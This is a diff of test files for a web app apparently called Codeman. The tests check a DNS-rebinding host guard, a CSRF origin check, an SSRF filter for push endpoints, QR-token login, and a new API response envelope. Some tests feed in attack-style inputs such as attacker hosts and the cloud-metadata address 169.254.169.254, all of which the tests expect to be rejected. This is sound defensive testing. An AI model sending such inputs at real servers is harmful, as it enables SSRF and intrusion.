expect(isAllowedRequestHost('192.168.1.50:3000', loopback)).toBe(true);
|
||||
expect(isAllowedRequestHost('203.0.113.7', loopback)).toBe(true);
|
||||
});
|
||||
|
||||
it('REJECTS a rebound custom domain (the core attack)', () => {
|
||||
expect(isAllowedRequestHost('attacker.evil.com', loopback)).toBe(false);
|
||||
expect(isAllowedRequestHost('attacker.evil.com:3000', loopback)).toBe(false);
|
||||
});
|
||||
|
||||
it('rejects a missing/empty Host header', () => {
|
||||
expect(isAllowedRequestHost(undefined, loopback)).toBe(false);
|
||||
expect(isAllowedRequestHost('', loopback)).toBe(false);
|
||||
});
|
||||
|
||||
it('accepts trusted tunnel suffixes (tailscale, cloudflare)', () => {
|
||||
expect(isAllowedRequestHost('tnode.tailf80371.ts.net', loopback)).toBe(true);
|
||||
expect(isAllowedRequestHost('foo.trycloudflare.com', loopback)).toBe(true);
|
||||
expect(isAllowedRequestHost('abc.cfargotunnel.com', loopback)).toBe(true);
|
||||
// a lookalike that merely contains the suffix mid-string is rejected
|
||||
expect(isAllowedRequestHost('ts.net.evil.com', loopback)).toBe(false);
|
||||
expect(isAllowedRequestHost('eviltrycloudflare.com', loopback)).toBe(false);
|
||||
});
|
||||
|
||||
it('accepts the configured bind host when it is a hostname', () => {
|
||||
const policy: HostPolicy = { bindHost: 'mybox.local', allowedHosts: [], tunnelHost: null };
|
||||
expect(isAllowedRequestHost('mybox.local:3000', policy)).toBe(true);
|
||||
expect(isAllowedRequestHost('other.local', policy)).toBe(false);
|
||||
});
|
||||
|
||||
it('accepts the active managed tunnel host', () => {
|
||||
const policy = buildHostPolicy('127.0.0.1', 'https://cool-name.trycloudflare.com');
|
||||
expect(isAllowedRequestHost('cool-name.trycloudflare.com', policy)).toBe(true);
|
||||
});
|
||||
|
||||
it('honors CODEMAN_ALLOWED_HOSTS exact and .suffix entries', () => {
|
||||
const policy: HostPolicy = {
|
||||
bindHost: '127.0.0.1',
|
||||
allowedHosts: ['codeman.example.com', '.corp.internal'],
|
||||
tunnelHost: null,
|
||||
};
|
||||
expect(isAllowedRequestHost('codeman.example.com', policy)).toBe(true);
|
||||
expect(isAllowedRequestHost('host1.corp.internal', policy)).toBe(true);
|
||||
expect(isAllowedRequestHost('corp.internal', policy)).toBe(true);
|
||||
expect(isAllowedRequestHost('codeman.example.com.evil.com', policy)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('isAllowedRequestOrigin — cross-site (CSRF) guard', () => {
|
||||
it('allows a MISSING origin (non-browser clients: curl, hooks)', () => {
|
||||
expect(isAllowedRequestOrigin(undefined, loopback)).toBe(true);
|
||||
expect(isAllowedRequestOrigin('', loopback)).toBe(true);
|
||||
});
|
||||
|
||||
it('rejects a cross-site origin', () => {
|
||||
expect(isAllowedRequestOrigin('https://evil.com', loopback)).toBe(false);
|
||||
expect(isAllowedRequestOrigin('http://evil.com:8080', loopback)).toBe(false);
|
||||
});
|
||||
|
||||
it('rejects the opaque "null" origin', () => {
|
||||
expect(isAllowedRequestOrigin('null', loopback)).toBe(false);
|
||||
});
|
||||
|
||||
it('allows same-site origins (localhost / IP / trusted suffix)', () => {
|
||||
expect(isAllowedRequestOrigin('http://localhost:3000', loopback)).toBe(true);
|
||||
expect(isAllowedRequestOrigin('http://127.0.0.1:3000', loopback)).toBe(true);
|
||||
expect(isAllowedRequestOrigin('https://tnode.tailf80371.ts.net', loopback)).toBe(true);
|
||||
});
|
||||
|
||||
it('rejects a malformed origin', () => {
|
||||
expect(isAllowedRequestOrigin('not a url', loopback)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('buildHostPolicy', () => {
|
||||
it('parses CODEMAN_ALLOWED_HOSTS from env', () => {
|
||||
const prev = process.env.CODEMAN_ALLOWED_HOSTS;
|
||||
process.env.CODEMAN_ALLOWED_HOSTS = ' Foo.Example , .bar.internal ,';
|
||||
try {
|
||||
const p = buildHostPolicy('127.0.0.1', null);
|
||||
expect(p.allowedHosts).toEqual(['foo.example', '.bar.internal']);
|
||||
} finally {
|
||||
if (prev === undefined) delete process.env.CODEMAN_ALLOWED_HOSTS;
|
||||
else process.env.CODEMAN_ALLOWED_HOSTS = prev;
|
||||
}
|
||||
});
|
||||
|
||||
it('extracts the tunnel hostname from a URL', () => {
|
||||
expect(buildHostPolicy('127.0.0.1', 'https://abc.trycloudflare.com/x').tunnelHost).toBe('abc.trycloudflare.com');
|
||||
expect(buildHostPolicy('127.0.0.1', null).tunnelHost).toBeNull();
|
||||
expect(buildHostPolicy('127.0.0.1', 'garbage').tunnelHost).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -88,10 +88,10 @@ async function createSession(baseUrl: string): Promise<string> {
|
||||
body: JSON.stringify({ workingDir: '/tmp' }),
|
||||
});
|
||||
const data = await res.json();
|
||||
if (!data.session?.id) {
|
||||
if (!data.data?.session?.id) {
|
||||
throw new Error(`Failed to create session: ${JSON.stringify(data)}`);
|
||||
}
|
||||
return data.session.id;
|
||||
return data.data.session.id;
|
||||
}
|
||||
|
||||
// Helper to delete a session
|
||||
@@ -392,9 +392,9 @@ describe('Operation Lightspeed', () => {
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
// terminalBuffer may be empty for a fresh session, but field should exist
|
||||
expect(data).toHaveProperty('terminalBuffer');
|
||||
expect(data).toHaveProperty('truncated');
|
||||
expect(data.truncated).toBe(false);
|
||||
expect(data.data).toHaveProperty('terminalBuffer');
|
||||
expect(data.data).toHaveProperty('truncated');
|
||||
expect(data.data.truncated).toBe(false);
|
||||
|
||||
await deleteSession(baseUrl, sessionId);
|
||||
});
|
||||
@@ -407,7 +407,7 @@ describe('Operation Lightspeed', () => {
|
||||
const data = await res.json();
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(data).toHaveProperty('terminalBuffer');
|
||||
expect(data.data).toHaveProperty('terminalBuffer');
|
||||
|
||||
await deleteSession(baseUrl, sessionId);
|
||||
});
|
||||
@@ -431,7 +431,7 @@ describe('Operation Lightspeed', () => {
|
||||
|
||||
// All should succeed
|
||||
for (const data of results) {
|
||||
expect(data).toHaveProperty('terminalBuffer');
|
||||
expect(data.data).toHaveProperty('terminalBuffer');
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
@@ -692,7 +692,8 @@ describe('Operation Lightspeed', () => {
|
||||
const sessionId = await createSession(baseUrl);
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions`);
|
||||
const sessions = await res.json();
|
||||
const body = await res.json();
|
||||
const sessions = body.data;
|
||||
|
||||
expect(Array.isArray(sessions)).toBe(true);
|
||||
const session = sessions.find((s: any) => s.id === sessionId);
|
||||
@@ -718,7 +719,8 @@ describe('Operation Lightspeed', () => {
|
||||
await new Promise((resolve) => setTimeout(resolve, 1100));
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions`);
|
||||
const sessions = await res.json();
|
||||
const body = await res.json();
|
||||
const sessions = body.data;
|
||||
|
||||
// All 3 should be present in the response
|
||||
const foundIds = sessions.map((s: any) => s.id);
|
||||
@@ -911,10 +913,10 @@ describe('Operation Lightspeed', () => {
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
// Local echo overlay needs session status to know when to show/hide
|
||||
expect(data).toHaveProperty('status');
|
||||
expect(typeof data.status).toBe('string');
|
||||
expect(data.data).toHaveProperty('status');
|
||||
expect(typeof data.data.status).toBe('string');
|
||||
// Fresh session starts as 'starting'
|
||||
expect(['starting', 'running', 'idle', 'error']).toContain(data.status);
|
||||
expect(['starting', 'running', 'idle', 'error']).toContain(data.data.status);
|
||||
|
||||
await deleteSession(baseUrl, sessionId);
|
||||
});
|
||||
@@ -926,9 +928,9 @@ describe('Operation Lightspeed', () => {
|
||||
const data = await res.json();
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(data).toHaveProperty('fullSize');
|
||||
expect(typeof data.fullSize).toBe('number');
|
||||
expect(data.fullSize).toBeGreaterThanOrEqual(0);
|
||||
expect(data.data).toHaveProperty('fullSize');
|
||||
expect(typeof data.data.fullSize).toBe('number');
|
||||
expect(data.data.fullSize).toBeGreaterThanOrEqual(0);
|
||||
|
||||
await deleteSession(baseUrl, sessionId);
|
||||
});
|
||||
@@ -942,9 +944,9 @@ describe('Operation Lightspeed', () => {
|
||||
]);
|
||||
|
||||
// tail=0 means "don't tail" — should return same as no tail param
|
||||
expect(fullRes.truncated).toBe(false);
|
||||
expect(tailZeroRes.truncated).toBe(false);
|
||||
expect(fullRes.terminalBuffer).toBe(tailZeroRes.terminalBuffer);
|
||||
expect(fullRes.data.truncated).toBe(false);
|
||||
expect(tailZeroRes.data.truncated).toBe(false);
|
||||
expect(fullRes.data.terminalBuffer).toBe(tailZeroRes.data.terminalBuffer);
|
||||
|
||||
await deleteSession(baseUrl, sessionId);
|
||||
});
|
||||
@@ -957,8 +959,8 @@ describe('Operation Lightspeed', () => {
|
||||
const data = await res.json();
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(data).toHaveProperty('terminalBuffer');
|
||||
expect(data.truncated).toBe(false); // Can't truncate if tail > fullSize
|
||||
expect(data.data).toHaveProperty('terminalBuffer');
|
||||
expect(data.data.truncated).toBe(false); // Can't truncate if tail > fullSize
|
||||
|
||||
await deleteSession(baseUrl, sessionId);
|
||||
});
|
||||
@@ -971,7 +973,7 @@ describe('Operation Lightspeed', () => {
|
||||
|
||||
// Should handle gracefully (either return full buffer or error cleanly)
|
||||
expect(res.status).toBe(200);
|
||||
expect(data).toHaveProperty('terminalBuffer');
|
||||
expect(data.data).toHaveProperty('terminalBuffer');
|
||||
|
||||
await deleteSession(baseUrl, sessionId);
|
||||
});
|
||||
@@ -984,7 +986,7 @@ describe('Operation Lightspeed', () => {
|
||||
|
||||
// NaN tail should be handled (parseInt('abc') = NaN, which is falsy)
|
||||
expect(res.status).toBe(200);
|
||||
expect(data).toHaveProperty('terminalBuffer');
|
||||
expect(data.data).toHaveProperty('terminalBuffer');
|
||||
|
||||
await deleteSession(baseUrl, sessionId);
|
||||
});
|
||||
@@ -1235,7 +1237,7 @@ describe('Operation Lightspeed', () => {
|
||||
)
|
||||
);
|
||||
|
||||
const ids = results.map((r) => r.session.id);
|
||||
const ids = results.map((r) => r.data.session.id);
|
||||
expect(ids.length).toBe(5);
|
||||
expect(new Set(ids).size).toBe(5); // All unique
|
||||
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
/**
|
||||
* SSRF guard for web-push endpoints (security review M7).
|
||||
*/
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { isSafePushEndpoint } from '../src/utils/push-endpoint-validation.js';
|
||||
|
||||
describe('isSafePushEndpoint (SSRF guard, M7)', () => {
|
||||
it('accepts real https push-service endpoints (public DNS hosts)', () => {
|
||||
expect(isSafePushEndpoint('https://fcm.googleapis.com/fcm/send/abc123')).toBe(true);
|
||||
expect(isSafePushEndpoint('https://updates.push.services.mozilla.com/wpush/v2/abc')).toBe(true);
|
||||
expect(isSafePushEndpoint('https://web.push.apple.com/abc')).toBe(true);
|
||||
expect(isSafePushEndpoint('https://foo.notify.windows.com/w/?token=x')).toBe(true);
|
||||
});
|
||||
|
||||
it('accepts a public IP literal over https', () => {
|
||||
expect(isSafePushEndpoint('https://93.184.216.34/x')).toBe(true);
|
||||
});
|
||||
|
||||
it('rejects non-https schemes', () => {
|
||||
expect(isSafePushEndpoint('http://fcm.googleapis.com/x')).toBe(false);
|
||||
expect(isSafePushEndpoint('ftp://example.com/x')).toBe(false);
|
||||
});
|
||||
|
||||
it('rejects the cloud-metadata IP and internal IPv4 ranges', () => {
|
||||
expect(isSafePushEndpoint('https://169.254.169.254/latest/meta-data/')).toBe(false);
|
||||
expect(isSafePushEndpoint('https://127.0.0.1/x')).toBe(false);
|
||||
expect(isSafePushEndpoint('https://10.0.0.5/x')).toBe(false);
|
||||
expect(isSafePushEndpoint('https://192.168.1.10/x')).toBe(false);
|
||||
expect(isSafePushEndpoint('https://172.16.0.1/x')).toBe(false);
|
||||
expect(isSafePushEndpoint('https://100.64.0.1/x')).toBe(false);
|
||||
expect(isSafePushEndpoint('https://0.0.0.0/x')).toBe(false);
|
||||
});
|
||||
|
||||
it('rejects internal IPv6 (incl. bracketed + IPv4-mapped)', () => {
|
||||
expect(isSafePushEndpoint('https://[::1]/x')).toBe(false);
|
||||
expect(isSafePushEndpoint('https://[fe80::1]/x')).toBe(false);
|
||||
expect(isSafePushEndpoint('https://[fd00::1]/x')).toBe(false);
|
||||
expect(isSafePushEndpoint('https://[::ffff:127.0.0.1]/x')).toBe(false);
|
||||
});
|
||||
|
||||
it('rejects garbage / empty input', () => {
|
||||
expect(isSafePushEndpoint('not a url')).toBe(false);
|
||||
expect(isSafePushEndpoint('')).toBe(false);
|
||||
});
|
||||
});
|
||||
+20
-23
@@ -86,8 +86,7 @@ describe('QR Token Manager (unit)', () => {
|
||||
|
||||
// Manually expire the token by manipulating its createdAt
|
||||
// Access the private map — this is a unit test, we need to verify the TTL logic
|
||||
const tokenMap = (tm as unknown as { qrTokensByCode: Map<string, { createdAt: number }> })
|
||||
.qrTokensByCode;
|
||||
const tokenMap = (tm as unknown as { qrTokensByCode: Map<string, { createdAt: number }> }).qrTokensByCode;
|
||||
const record = tokenMap.get(code)!;
|
||||
record.createdAt = Date.now() - 91_000; // 91 seconds ago (beyond 90s grace)
|
||||
|
||||
@@ -99,8 +98,7 @@ describe('QR Token Manager (unit)', () => {
|
||||
const code = tm.getCurrentShortCode()!;
|
||||
|
||||
// Set createdAt to 80 seconds ago (within 90s grace)
|
||||
const tokenMap = (tm as unknown as { qrTokensByCode: Map<string, { createdAt: number }> })
|
||||
.qrTokensByCode;
|
||||
const tokenMap = (tm as unknown as { qrTokensByCode: Map<string, { createdAt: number }> }).qrTokensByCode;
|
||||
const record = tokenMap.get(code)!;
|
||||
record.createdAt = Date.now() - 80_000;
|
||||
|
||||
@@ -172,8 +170,7 @@ describe('QR Token Manager (unit)', () => {
|
||||
|
||||
it('should accept token at exactly grace period (90000ms)', () => {
|
||||
const code = tm.getCurrentShortCode()!;
|
||||
const tokenMap = (tm as unknown as { qrTokensByCode: Map<string, { createdAt: number }> })
|
||||
.qrTokensByCode;
|
||||
const tokenMap = (tm as unknown as { qrTokensByCode: Map<string, { createdAt: number }> }).qrTokensByCode;
|
||||
const record = tokenMap.get(code)!;
|
||||
record.createdAt = Date.now() - 90_000;
|
||||
// Condition is `> QR_TOKEN_GRACE_MS` (strict >), so exactly 90000 should pass
|
||||
@@ -182,8 +179,7 @@ describe('QR Token Manager (unit)', () => {
|
||||
|
||||
it('should reject token at grace period + 1ms (90001ms)', () => {
|
||||
const code = tm.getCurrentShortCode()!;
|
||||
const tokenMap = (tm as unknown as { qrTokensByCode: Map<string, { createdAt: number }> })
|
||||
.qrTokensByCode;
|
||||
const tokenMap = (tm as unknown as { qrTokensByCode: Map<string, { createdAt: number }> }).qrTokensByCode;
|
||||
const record = tokenMap.get(code)!;
|
||||
record.createdAt = Date.now() - 90_001;
|
||||
expect(tm.consumeToken(code)).toBe(false);
|
||||
@@ -308,8 +304,7 @@ describe('QR Auth Integration', () => {
|
||||
beforeEach(() => {
|
||||
// Reset QR failure counter to prevent cross-test contamination
|
||||
// (all requests come from 127.0.0.1)
|
||||
const qrFailures = (server as unknown as { qrAuthFailures: { clear(): void } | null })
|
||||
.qrAuthFailures;
|
||||
const qrFailures = (server as unknown as { qrAuthFailures: { clear(): void } | null }).qrAuthFailures;
|
||||
if (qrFailures) qrFailures.clear();
|
||||
});
|
||||
|
||||
@@ -568,9 +563,11 @@ describe('QR Auth Integration', () => {
|
||||
const setCookie = res.headers.get('set-cookie')!;
|
||||
const token = setCookie.match(/codeman_session=([^;]+)/)![1];
|
||||
|
||||
const authSessions = (server as unknown as {
|
||||
authSessions: { get(k: string): { method: string } | undefined } | null;
|
||||
}).authSessions;
|
||||
const authSessions = (
|
||||
server as unknown as {
|
||||
authSessions: { get(k: string): { method: string } | undefined } | null;
|
||||
}
|
||||
).authSessions;
|
||||
const record = authSessions?.get(token);
|
||||
expect(record).toBeDefined();
|
||||
expect(record!.method).toBe('qr');
|
||||
@@ -631,9 +628,9 @@ describe('QR SVG Endpoint (GET /api/tunnel/qr)', () => {
|
||||
});
|
||||
expect(res.status).toBe(200);
|
||||
const data = await res.json();
|
||||
expect(data.authEnabled).toBe(true);
|
||||
expect(data.svg).toContain('<svg');
|
||||
expect(data.svg).toContain('</svg>');
|
||||
expect(data.data.authEnabled).toBe(true);
|
||||
expect(data.data.svg).toContain('<svg');
|
||||
expect(data.data.svg).toContain('</svg>');
|
||||
} finally {
|
||||
tm.stopTokenRotation();
|
||||
simulateTunnelStopped(tm);
|
||||
@@ -653,9 +650,9 @@ describe('QR SVG Endpoint (GET /api/tunnel/qr)', () => {
|
||||
});
|
||||
expect(res.status).toBe(200);
|
||||
const data = await res.json();
|
||||
expect(data.authEnabled).toBe(false);
|
||||
expect(data.svg).toContain('<svg');
|
||||
expect(data.svg).toContain('</svg>');
|
||||
expect(data.data.authEnabled).toBe(false);
|
||||
expect(data.data.svg).toContain('<svg');
|
||||
expect(data.data.svg).toContain('</svg>');
|
||||
} finally {
|
||||
process.env.CODEMAN_PASSWORD = savedPass;
|
||||
simulateTunnelStopped(tm);
|
||||
@@ -709,8 +706,8 @@ describe('QR SVG Endpoint (GET /api/tunnel/qr)', () => {
|
||||
});
|
||||
expect(res.status).toBe(200);
|
||||
const data = await res.json();
|
||||
expect(data.svg).toContain('<svg');
|
||||
expect(data.authEnabled).toBe(false);
|
||||
expect(data.data.svg).toContain('<svg');
|
||||
expect(data.data.authEnabled).toBe(false);
|
||||
} finally {
|
||||
process.env.CODEMAN_PASSWORD = savedPass;
|
||||
simulateTunnelStopped(tm);
|
||||
@@ -732,7 +729,7 @@ describe('QR SVG Endpoint (GET /api/tunnel/qr)', () => {
|
||||
});
|
||||
const data2 = await res2.json();
|
||||
|
||||
expect(data1.svg).toBe(data2.svg);
|
||||
expect(data1.data.svg).toBe(data2.data.svg);
|
||||
} finally {
|
||||
tm.stopTokenRotation();
|
||||
simulateTunnelStopped(tm);
|
||||
@@ -756,7 +753,7 @@ describe('QR SVG Endpoint (GET /api/tunnel/qr)', () => {
|
||||
});
|
||||
const data2 = await res2.json();
|
||||
|
||||
expect(data1.svg).not.toBe(data2.svg);
|
||||
expect(data1.data.svg).not.toBe(data2.data.svg);
|
||||
} finally {
|
||||
tm.stopTokenRotation();
|
||||
simulateTunnelStopped(tm);
|
||||
|
||||
+28
-24
@@ -47,14 +47,14 @@ describe('Quick Start API', () => {
|
||||
const data = await response.json();
|
||||
|
||||
expect(data.success).toBe(true);
|
||||
expect(data.sessionId).toBeDefined();
|
||||
expect(data.caseName).toBe(testCaseName);
|
||||
expect(data.casePath).toBe(join(CASES_DIR, testCaseName));
|
||||
expect(data.data.sessionId).toBeDefined();
|
||||
expect(data.data.caseName).toBe(testCaseName);
|
||||
expect(data.data.casePath).toBe(join(CASES_DIR, testCaseName));
|
||||
|
||||
// Verify case folder was created
|
||||
expect(existsSync(data.casePath)).toBe(true);
|
||||
expect(existsSync(join(data.casePath, 'CLAUDE.md'))).toBe(true);
|
||||
expect(existsSync(join(data.casePath, 'src'))).toBe(true);
|
||||
expect(existsSync(data.data.casePath)).toBe(true);
|
||||
expect(existsSync(join(data.data.casePath, 'CLAUDE.md'))).toBe(true);
|
||||
expect(existsSync(join(data.data.casePath, 'src'))).toBe(true);
|
||||
});
|
||||
|
||||
it('should use existing case without recreating it', async () => {
|
||||
@@ -74,7 +74,7 @@ describe('Quick Start API', () => {
|
||||
const data = await response.json();
|
||||
|
||||
expect(data.success).toBe(true);
|
||||
expect(data.caseName).toBe(testCaseName);
|
||||
expect(data.data.caseName).toBe(testCaseName);
|
||||
// Case should exist but CLAUDE.md won't be created since case already exists
|
||||
expect(existsSync(casePath)).toBe(true);
|
||||
});
|
||||
@@ -118,7 +118,7 @@ describe('Quick Start API', () => {
|
||||
const data = await response.json();
|
||||
|
||||
expect(data.success).toBe(true);
|
||||
expect(data.caseName).toBe(testCaseName);
|
||||
expect(data.data.caseName).toBe(testCaseName);
|
||||
});
|
||||
|
||||
it('should default to "testcase" when no caseName provided', async () => {
|
||||
@@ -137,7 +137,7 @@ describe('Quick Start API', () => {
|
||||
const data = await response.json();
|
||||
|
||||
expect(data.success).toBe(true);
|
||||
expect(data.caseName).toBe('testcase');
|
||||
expect(data.data.caseName).toBe('testcase');
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -167,10 +167,10 @@ describe('Session Management', () => {
|
||||
const data = await response.json();
|
||||
|
||||
expect(data.success).toBe(true);
|
||||
expect(data.session).toBeDefined();
|
||||
expect(data.session.id).toBeDefined();
|
||||
expect(data.session.workingDir).toBe('/tmp');
|
||||
expect(data.session.status).toBe('idle');
|
||||
expect(data.data.session).toBeDefined();
|
||||
expect(data.data.session.id).toBeDefined();
|
||||
expect(data.data.session.workingDir).toBe('/tmp');
|
||||
expect(data.data.session.status).toBe('idle');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -179,7 +179,8 @@ describe('Session Management', () => {
|
||||
const response = await fetch(`${baseUrl}/api/sessions`);
|
||||
const data = await response.json();
|
||||
|
||||
expect(Array.isArray(data)).toBe(true);
|
||||
expect(data.success).toBe(true);
|
||||
expect(Array.isArray(data.data)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -188,12 +189,13 @@ describe('Session Management', () => {
|
||||
const response = await fetch(`${baseUrl}/api/status`);
|
||||
const data = await response.json();
|
||||
|
||||
expect(data).toHaveProperty('sessions');
|
||||
expect(data).toHaveProperty('scheduledRuns');
|
||||
expect(data).toHaveProperty('respawnStatus');
|
||||
expect(data).toHaveProperty('timestamp');
|
||||
expect(Array.isArray(data.sessions)).toBe(true);
|
||||
expect(Array.isArray(data.scheduledRuns)).toBe(true);
|
||||
expect(data.success).toBe(true);
|
||||
expect(data.data).toHaveProperty('sessions');
|
||||
expect(data.data).toHaveProperty('scheduledRuns');
|
||||
expect(data.data).toHaveProperty('respawnStatus');
|
||||
expect(data.data).toHaveProperty('timestamp');
|
||||
expect(Array.isArray(data.data.sessions)).toBe(true);
|
||||
expect(Array.isArray(data.data.scheduledRuns)).toBe(true);
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -224,7 +226,8 @@ describe('Case Management', () => {
|
||||
const response = await fetch(`${baseUrl}/api/cases`);
|
||||
const data = await response.json();
|
||||
|
||||
expect(Array.isArray(data)).toBe(true);
|
||||
expect(data.success).toBe(true);
|
||||
expect(Array.isArray(data.data)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -298,9 +301,10 @@ describe('Case Management', () => {
|
||||
const response = await fetch(`${baseUrl}/api/cases/${testCaseName}`);
|
||||
const data = await response.json();
|
||||
|
||||
expect(data.name).toBe(testCaseName);
|
||||
expect(data.path).toBeDefined();
|
||||
expect(data.hasClaudeMd).toBe(true);
|
||||
expect(data.success).toBe(true);
|
||||
expect(data.data.name).toBe(testCaseName);
|
||||
expect(data.data.path).toBeDefined();
|
||||
expect(data.data.hasClaudeMd).toBe(true);
|
||||
});
|
||||
|
||||
it('should return error for non-existent case', async () => {
|
||||
|
||||
@@ -61,7 +61,7 @@ describe('Ralph Integration Tests', () => {
|
||||
const data = await res.json();
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(Array.isArray(data)).toBe(true);
|
||||
expect(Array.isArray(data.data)).toBe(true);
|
||||
});
|
||||
|
||||
it('should create a new session via quick-start', async () => {
|
||||
@@ -76,8 +76,8 @@ describe('Ralph Integration Tests', () => {
|
||||
const data = await res.json();
|
||||
|
||||
expect(data.success).toBe(true);
|
||||
expect(data.sessionId).toBeDefined();
|
||||
createdSessions.push(data.sessionId);
|
||||
expect(data.data.sessionId).toBeDefined();
|
||||
createdSessions.push(data.data.sessionId);
|
||||
});
|
||||
|
||||
it('should get session details by ID', async () => {
|
||||
@@ -91,15 +91,15 @@ describe('Ralph Integration Tests', () => {
|
||||
body: JSON.stringify({ caseName }),
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
// Get session details
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}`);
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}`);
|
||||
const data = await res.json();
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(data.id).toBe(createData.sessionId);
|
||||
expect(data.workingDir).toContain(caseName);
|
||||
expect(data.data.id).toBe(createData.data.sessionId);
|
||||
expect(data.data.workingDir).toContain(caseName);
|
||||
});
|
||||
|
||||
it('should return error for non-existent session', async () => {
|
||||
@@ -122,7 +122,7 @@ describe('Ralph Integration Tests', () => {
|
||||
body: JSON.stringify({ caseName }),
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
const sessionId = createData.sessionId;
|
||||
const sessionId = createData.data.sessionId;
|
||||
|
||||
// Delete session
|
||||
const deleteRes = await fetch(`${baseUrl}/api/sessions/${sessionId}`, {
|
||||
@@ -152,13 +152,13 @@ describe('Ralph Integration Tests', () => {
|
||||
const data = await res.json();
|
||||
|
||||
expect(data.success).toBe(true);
|
||||
expect(data.sessionId).toBeDefined();
|
||||
createdSessions.push(data.sessionId);
|
||||
expect(data.data.sessionId).toBeDefined();
|
||||
createdSessions.push(data.data.sessionId);
|
||||
|
||||
// Verify mode
|
||||
const sessionRes = await fetch(`${baseUrl}/api/sessions/${data.sessionId}`);
|
||||
const sessionRes = await fetch(`${baseUrl}/api/sessions/${data.data.sessionId}`);
|
||||
const sessionData = await sessionRes.json();
|
||||
expect(sessionData.mode).toBe('shell');
|
||||
expect(sessionData.data.mode).toBe('shell');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -175,9 +175,9 @@ describe('Ralph Integration Tests', () => {
|
||||
body: JSON.stringify({ caseName }),
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/ralph-state`);
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/ralph-state`);
|
||||
const data = await res.json();
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
@@ -206,7 +206,7 @@ describe('Ralph Integration Tests', () => {
|
||||
const data = await res.json();
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(Array.isArray(data)).toBe(true);
|
||||
expect(Array.isArray(data.data)).toBe(true);
|
||||
});
|
||||
|
||||
it('should create a new case', async () => {
|
||||
@@ -244,7 +244,7 @@ describe('Ralph Integration Tests', () => {
|
||||
});
|
||||
const data = await res.json();
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(res.status).toBe(409);
|
||||
expect(data.success).toBe(false);
|
||||
expect(data.error).toContain('already exists');
|
||||
});
|
||||
@@ -265,15 +265,15 @@ describe('Ralph Integration Tests', () => {
|
||||
const data = await res.json();
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(data.name).toBe(caseName);
|
||||
expect(data.path).toContain(caseName);
|
||||
expect(data.data.name).toBe(caseName);
|
||||
expect(data.data.path).toContain(caseName);
|
||||
});
|
||||
|
||||
it('should return error for non-existent case', async () => {
|
||||
const res = await fetch(`${baseUrl}/api/cases/non-existent-case-12345`);
|
||||
const data = await res.json();
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(res.status).toBe(404);
|
||||
expect(data.error).toBe('Case not found');
|
||||
});
|
||||
});
|
||||
@@ -286,18 +286,18 @@ describe('Ralph Integration Tests', () => {
|
||||
const data = await res.json();
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(data.sessions).toBeDefined();
|
||||
expect(data.scheduledRuns).toBeDefined();
|
||||
expect(data.respawnStatus).toBeDefined();
|
||||
expect(data.timestamp).toBeDefined();
|
||||
expect(data.data.sessions).toBeDefined();
|
||||
expect(data.data.scheduledRuns).toBeDefined();
|
||||
expect(data.data.respawnStatus).toBeDefined();
|
||||
expect(data.data.timestamp).toBeDefined();
|
||||
});
|
||||
|
||||
it('should include sessions array in status', async () => {
|
||||
const res = await fetch(`${baseUrl}/api/status`);
|
||||
const data = await res.json();
|
||||
|
||||
expect(Array.isArray(data.sessions)).toBe(true);
|
||||
expect(typeof data.timestamp).toBe('number');
|
||||
expect(Array.isArray(data.data.sessions)).toBe(true);
|
||||
expect(typeof data.data.timestamp).toBe('number');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -309,9 +309,9 @@ describe('Ralph Integration Tests', () => {
|
||||
const data = await res.json();
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(data.sessions).toBeDefined();
|
||||
expect(Array.isArray(data.sessions)).toBe(true);
|
||||
expect(typeof data.muxAvailable).toBe('boolean');
|
||||
expect(data.data.sessions).toBeDefined();
|
||||
expect(Array.isArray(data.data.sessions)).toBe(true);
|
||||
expect(typeof data.data.muxAvailable).toBe('boolean');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -328,9 +328,9 @@ describe('Ralph Integration Tests', () => {
|
||||
body: JSON.stringify({ caseName }),
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
createdSessions.push(createData.sessionId);
|
||||
createdSessions.push(createData.data.sessionId);
|
||||
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.sessionId}/input`, {
|
||||
const res = await fetch(`${baseUrl}/api/sessions/${createData.data.sessionId}/input`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ input: 'test input' }),
|
||||
